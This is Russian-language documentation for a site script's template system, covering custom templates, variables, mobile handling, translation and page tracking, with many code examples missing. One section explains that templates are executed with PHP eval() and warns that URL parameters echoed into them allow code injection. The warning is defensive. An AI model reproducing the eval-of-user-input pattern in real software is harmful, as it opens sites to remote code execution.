    те в линке домена не будет видно ====== Rotation Settings ====== Все настройки ротации доступны в темплейтах как например имена переменных можно видеть в админке в названии полей (F12 в браузере) ====== Default templates ====== По дефолту в скрипте есть предустановленные шаблоны. В большинстве случаев их названия и описания ясны. Эти шаблоны не удаляются из админки. дабы не удалить чего нечаянно. content_single_item - это темпелйт для вывода большой картинки с пиксовой гали на отдельной странице. ====== Custom Templates ====== Вы можете добавить неограниченное кол-во своих темплейтов и вызывать их используя ?force_template=... Например, вы хотите отдельный дизайн для ваших трейдера trd.com Для начала создаем шаблон trd_personal и в нем создаем шаблон конкретно для этого трейдера. Вот несколько вариантов, как можно сделать это. Смысл всех этих операций в одном и том же - передать параметр force_template= **1.** трейдер может слать на урл http://your_domain.com/?force_template=trd_personal **2.** вы можете создать файл your_domain.com/t.php следующего содержания и прописать трейдеру этот t.php как персональную страницу. **3.** в your_domain.com/common.php добавить строку вида после ====== Custom gallery - antibot question ====== По дефолту для защиты комментов от спама на кастом галерах используется капча. Теперь есть вариант номер два - который выбирается из вопросов которые используются при сайнапе трейдеров, те из Settings - Cjsettings - wm signup. В этом опредленно есть смысл, так на форуме smartcj.com было много спама, потому что стандартную капчу давно уже разбирают автоматически. Разобрать автоматически вопрос намного сложнее. Результат - 99% спама пропало. ====== Tag Processing ====== Сначала обрабатываются таги, потом выполняется пхп. Например, у нас конструкция это значит что сначала это буде разложено в slug1 slug2 slug3 slug4 slug5 и потом выполнен пхп. Это так же значит что нельзя всунуть пхп в сам таг, например потому что, опять же, сначала таги, потом пхп. Данные в таг передаются например из урла GET_ или predefined vars например CURRECT_ITEM_... ====== Global Custom Vars ====== Удобно иметь глобальные замены для всех темплейтов, например, места для баннеров, link exchange и тп. Специально для этого есть **Rotation - Tube - Tpl Custom Vars**. Добавленные там переменные будут доступны в любом темплейте, например добавляете **my_var1** и они будет доступна как **** в любом темплейте. Удобно тем, что легко поменять например баннер во всех темплейтах сразу. Так же кастом переменная может быть с переводом для каждого языка. Например, у вас есть основной язык (на котором вы добавляете контент) и вы добавили сколько надо языков в Rotation Settings - Multilingual. Теперь переменная на каждом языке - своя, если нет перевода для конкретного языка, то будет использован основной. **Mobile** Можно кастом переменную менять для мобильных пользователей добавляя _MOBILE Например, у нас есть кастом переменная для темплейтов MY_VAR (в темплейте выводится как ), можно добавить переменную MY_VAR_MOBILE если страницу откроет пользователь с мобильного то таг будет заменен на то что указано в MY_VAR_MOBILE, а не MY_VAR **Translation** Можно быстро перевести с основного языка на дополнительный. Для этого в **Translation [+]** отмечаем галочками какие переменные надо перевести и указываем чем переводить например external::http://your_domain/scj/bin/rotation.php ?action=translate_text &text={MAIN_VALUE} &source_lng=en &target_lng={TRANSLATION_LNG} &api_key=... дефолтный вариант - google translate Тут надо обратить внимание на &source_lng=en - основной язык api_key - ключ АПИ с гугла Вы можете заменить гугл на любой свой вариант перевода. В процессе перевода скрипт будет менять {MAIN_VALUE} на актуальный текст и {TRANSLATION_LNG} на называние языка на который нужен перевод, например it ====== Mobile templates and Mobile Custom Vars ====== Есть 3 стратегии работы с темплейтами для мобильных пользователей. Задача: выводить например баннер_1 для десктоп и баннер_2 для мобильных **Вариант 0** Который я надеюсь уже не используется, но все же: делаем 2 темплейта: index и mobile_index и в каждом в нужном месте прописываем баннер прямо в HTML Понятно что если баннер больше чем на одной странице то отредактировать его - значит прокликать все страницы. **Вариант 1** Создаем 2 кастом переменных, например banner_1 (будет выводится как ) и banner_2 (будет выводится как ) Делаем 2 темплейта: index и mobile_index и в каждом указываем нужную переменную Это вариант если у вас темплейт для мобильных кардинально отличается от десктопа **Вариант 2** Как надо делать: Создаем 2 кастом переменных, например banner (будет выводится как ) и banner_mobile (его можно вывести как но это не пригодится ) В темплейте index в нужном месте добавляем только и для мобильных юзеров выведет banner_mobile Этот вариант более правильный тк нонче считается что все темплейты должны быть "тянущимися" в зависимости от разрешения устройства ====== Developer mode ====== Темплейты находят в базе, но для некоторых удобнее редактировать темплейты через фтп, а не через админку. Для этого случая есть Developer Mode - вы можете залить темплейт в scj/tube/default_templates с именем имя_темплейта.tpl (например, content_page.tpl, index.tpl). При каждом запуске скирпт будет проверять наличие темплейтов в этом каталоге, и если они есть - будет добавлять из файла в базу (обновлять в базе). После того как все темплейты настроены имеет смысл ее отключить дабы скрипт не делал лишних проверок = экономия ресурсов сервера. ====== User Thumbs ====== Часто большое количество тумб с одного видео надо не для ротации (и выбора лучшей тумбы), а для роллинга тумб те когда при наведении мышки на тумбу картинка начинает меняться. При этом траффика для ротации такого количества тумб просто нет и растить базу (а каждая тумба ротации - это место в базе, больше база = больше памяти она занимает). При грабе скрипт сохранит пользовательские тумбы только на диск в /thumb/user_thumbs/gallery_id/ Например, мы решили что у каждой галеры будет 10 тумб для роллинга **Варианты работы в этом случае:** **1. если у нас тумбы готовы то импортируем в виде** video_url|thumbs|user_thumbs те thumbs - это тумбы которые будут в ротации и попадут в базу, user_thumbs - это тумбы которые будут только скачаны и сохранены на диск, но в базе их не будет. в темплейте пишем
    Тут надо обратить внимание на data-rolling-thumbs-folder='' куда скрипт подставит /thumb/user_thumbs/gallery_id/ конкретной галеры. **2. если у нас тумбы нарезаются из видео** Добавляем как video_url и включаем опцию Make screenshots. Скрипт скачивает видео, делает скриншоты (в количестве How Many Thumbs from each gallery ? ). Далее идем в Preload и видимо все тумбы нарезанные с данного видео. Отмечаем кликом тумбы, которые надо добавить в ротацию и чекбокс Add Unchecked as User Thumbs. Отмеченные тумбы будут добавлены в ротацию (в базу) , а так же все тумбы будут добавлены как User Thumbs, те просто сохранены на диск НО не добавлены в базу, и их можно будет использовать для роллинга тумб тем же скриптом как описано в пункте 1. ====== How it works ====== Как работает система темплейтов, для продвинутых пользователей. страница модели /?model_slug=...&force_template=model_galleries для некоторых страниц название темплейта указано по умолчанию, например страница категории /?category_id=5 хотя темпелйт тут не указан, будет использован темплейт content_list, но можно указать и свой, например /?category_id=5&force_template=mytpl Таким образом можно формировать через реврайты любые урлы и любые темплейты. Разбор темпелйта идет в 2 шага: сначала заменяются макросы скрипта (например ) а потом делается eval что б выполнить ваш пхп код в темплейте. Тут надо обратить внимание на свой пхп код, что б в нем не оказалось дыр, например, представим что вы выодите какой-то параметр из строки урла и юзер в урле указал &var=123, в этом случае в темпелйте будет выведено именно 123. После этого мы сделаем eval() этой строки 123 и получим просто 123 те там пхп кода нет. Теперь представим что юзер передал не 123, в &var= будет заменена на эту строку и eval уже выполнит этот код. Что б такого не было есть [[new_rotation_templates#tag_prefix]], например выведет " /? page=... order= (ctr - по умолчанию, date, duration) force_template slug= саг галереи sponsor_slug= model_slug= search= date_start= , date_end= и predefined dates date_limit=today, yesterday, this_week, this_month
    ====== Content search and 404 ====== В настройках ротации есть опция "URLs with 0 result thumbs return 404 (content_not_found)". Допустим она включена. Если пользователь ищет что-то на сайте и получает 0 результатов, то теоретически ему надо вернуть 404, однако на тот момент все хотели что бы было не 404, а странице на которой было бы написано "по вашему поиску ничего не найдено", поэтому на тот момент было прописано в скрипте что эта опция не работает на странице поиска (content_search) Но если вдруг вам надо переписать такое поведение то надо использовать **zero_items_return_404=true** , например ... ====== SCJ_VISITOR ====== Специально для темплейтов на пхп вынесена глобальная переменная $GLOBALS['SCJ_VISITOR'] в которой есть данные текущего пользователя, этим можно пользоваться если надо в темплейте что-то менять в зависимости от спараметров серфера например ====== Page track ====== Можно проследить на какую страницу приходит траффик и какие есть переходы на сайте. В Trade - Statistics - Page Track 2 колонки: Inbound Views (если реф не наш сайт) and Local Views (если реф - наш сайт) Есть 2 варианта 1. &page_track=... в урле 2. в темплейте таг Например